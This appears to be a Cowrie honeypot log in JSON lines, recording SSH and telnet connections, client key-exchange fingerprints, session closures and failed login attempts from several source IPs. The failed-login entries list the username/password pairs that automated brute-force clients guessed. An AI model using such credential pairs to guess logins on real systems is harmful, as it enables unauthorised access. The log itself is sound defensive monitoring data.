{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:54.231525Z","src_ip":"170.238.160.191","session":"fbe39a4ce479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:54.329796Z","src_ip":"103.27.238.114","session":"1d2fde88cb47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.065423965454102,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:54.661397Z","src_ip":"152.42.224.71","session":"a504f96fc0c0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user10","password":"123","message":"login attempt [user10/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:54.728989Z","src_ip":"170.238.160.191","session":"fbe39a4ce479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustang","message":"login attempt [root/mustang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:55.529807Z","src_ip":"103.27.238.114","session":"1d2fde88cb47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:55.850439Z","src_ip":"170.238.160.191","session":"fbe39a4ce479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:57.437373Z","src_ip":"103.27.238.114","session":"1d2fde88cb47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59894,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb7529bf71fd","protocol":"telnet","message":"New connection: 152.42.224.71:59894 (10.17.0.5:23) [session: eb7529bf71fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:57.809789Z"}
{"eventid":"cowrie.session.closed","duration":14.432196855545044,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:06.108536Z","src_ip":"152.42.224.71","session":"ef5ec0211d8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":53030,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f26201a20e1","protocol":"ssh","message":"New connection: 181.188.172.6:53030 (159.203.135.109:22) [session: 5f26201a20e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:07.743505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:07.748381Z","src_ip":"181.188.172.6","session":"5f26201a20e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:07.908414Z","src_ip":"181.188.172.6","session":"5f26201a20e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2!@#$","message":"login attempt [root/1qazxsw2!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:08.812403Z","src_ip":"181.188.172.6","session":"5f26201a20e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:09.940076Z","src_ip":"181.188.172.6","session":"5f26201a20e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53734,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0386577809e","protocol":"telnet","message":"New connection: 152.42.224.71:53734 (10.17.0.5:23) [session: b0386577809e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:10.133123Z"}
{"eventid":"cowrie.session.closed","duration":12.333457708358765,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:10.143136Z","src_ip":"152.42.224.71","session":"eb7529bf71fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53750,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d7599efeb37","protocol":"telnet","message":"New connection: 152.42.224.71:53750 (10.17.0.5:23) [session: 4d7599efeb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:11.421728Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53764,"dst_ip":"10.17.0.5","dst_port":23,"session":"3928a7647116","protocol":"telnet","message":"New connection: 152.42.224.71:53764 (10.17.0.5:23) [session: 3928a7647116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:15.249205Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53770,"dst_ip":"10.17.0.5","dst_port":23,"session":"429b925c93ab","protocol":"telnet","message":"New connection: 152.42.224.71:53770 (10.17.0.5:23) [session: 429b925c93ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:15.484898Z"}
{"eventid":"cowrie.session.closed","duration":117.34102988243103,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:20.745790Z","src_ip":"152.42.224.71","session":"9f2b3a2ae5d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00273370742798,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:22.528366Z","src_ip":"152.42.224.71","session":"99767b4bf8e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38732,"dst_ip":"10.17.0.5","dst_port":23,"session":"12be2a3ce3d2","protocol":"telnet","message":"New connection: 152.42.224.71:38732 (10.17.0.5:23) [session: 12be2a3ce3d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:23.608585Z"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:25.371524Z","src_ip":"47.237.167.49","session":"1b5d953fe34f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":41164,"dst_ip":"159.203.135.109","dst_port":22,"session":"154a00e3dbc2","protocol":"ssh","message":"New connection: 193.37.70.224:41164 (159.203.135.109:22) [session: 154a00e3dbc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:26.088813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:26.093315Z","src_ip":"193.37.70.224","session":"154a00e3dbc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:26.184329Z","src_ip":"193.37.70.224","session":"154a00e3dbc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"awerty","message":"login attempt [root/awerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:26.453788Z","src_ip":"193.37.70.224","session":"154a00e3dbc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"55.1","message":"Connection lost after 55.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:26.994607Z","src_ip":"47.237.167.49","session":"1b5d953fe34f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45542,"dst_ip":"10.17.0.5","dst_port":23,"session":"d85c2f78c223","protocol":"telnet","message":"New connection: 152.42.224.71:45542 (10.17.0.5:23) [session: d85c2f78c223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:27.031750Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:27.546096Z","src_ip":"193.37.70.224","session":"154a00e3dbc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45556,"dst_ip":"10.17.0.5","dst_port":23,"session":"91c8e3beeace","protocol":"telnet","message":"New connection: 152.42.224.71:45556 (10.17.0.5:23) [session: 91c8e3beeace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:30.483320Z"}
{"eventid":"cowrie.session.closed","duration":59.61597275733948,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:35.115151Z","src_ip":"152.42.224.71","session":"8e26cdf42fa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59214,"dst_ip":"10.17.0.5","dst_port":23,"session":"67e7e5cccf8a","protocol":"telnet","message":"New connection: 152.42.224.71:59214 (10.17.0.5:23) [session: 67e7e5cccf8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:37.059394Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59226,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8985b95c30d","protocol":"telnet","message":"New connection: 152.42.224.71:59226 (10.17.0.5:23) [session: c8985b95c30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:39.089822Z"}
{"eventid":"cowrie.session.closed","duration":23.8878915309906,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:39.136941Z","src_ip":"152.42.224.71","session":"3928a7647116","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.439998149871826,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:40.127679Z","src_ip":"152.42.224.71","session":"650ef7a1eded","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0104308128357,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:49.014671Z","src_ip":"152.42.224.71","session":"c988367e0860","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":48692,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce66cbae5dbb","protocol":"ssh","message":"New connection: 103.149.28.157:48692 (159.203.135.109:22) [session: ce66cbae5dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:52.823565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:52.828372Z","src_ip":"103.149.28.157","session":"ce66cbae5dbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:53.077159Z","src_ip":"103.149.28.157","session":"ce66cbae5dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gbcmrf","message":"login attempt [root/gbcmrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:53.830736Z","src_ip":"103.149.28.157","session":"ce66cbae5dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:55.083395Z","src_ip":"103.149.28.157","session":"ce66cbae5dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.345558643341064,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:56.478538Z","src_ip":"152.42.224.71","session":"b0386577809e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35782,"dst_ip":"10.17.0.5","dst_port":23,"session":"39e502c066a9","protocol":"telnet","message":"New connection: 152.42.224.71:35782 (10.17.0.5:23) [session: 39e502c066a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:57.483823Z"}
{"eventid":"cowrie.session.closed","duration":48.57055449485779,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:14:59.992199Z","src_ip":"152.42.224.71","session":"4d7599efeb37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":21683,"dst_ip":"159.203.135.109","dst_port":22,"session":"e654ee59a4aa","protocol":"ssh","message":"New connection: 213.209.159.56:21683 (159.203.135.109:22) [session: e654ee59a4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:03.212731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:03.227164Z","src_ip":"213.209.159.56","session":"e654ee59a4aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:03.311825Z","src_ip":"213.209.159.56","session":"e654ee59a4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keyara","password":"keyara","message":"login attempt [keyara/keyara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:03.712499Z","src_ip":"213.209.159.56","session":"e654ee59a4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keyara","password":"keyara1","message":"login attempt [keyara/keyara1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:04.799677Z","src_ip":"213.209.159.56","session":"e654ee59a4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keyara","password":"keyara123","message":"login attempt [keyara/keyara123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:05.887022Z","src_ip":"213.209.159.56","session":"e654ee59a4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keyara","password":"keyara1234","message":"login attempt [keyara/keyara1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:06.974870Z","src_ip":"213.209.159.56","session":"e654ee59a4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keyara","password":"keyara12345","message":"login attempt [keyara/keyara12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:08.060769Z","src_ip":"213.209.159.56","session":"e654ee59a4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:09.147780Z","src_ip":"213.209.159.56","session":"e654ee59a4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.236631631851196,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:11.721445Z","src_ip":"152.42.224.71","session":"429b925c93ab","protocol":"telnet"}
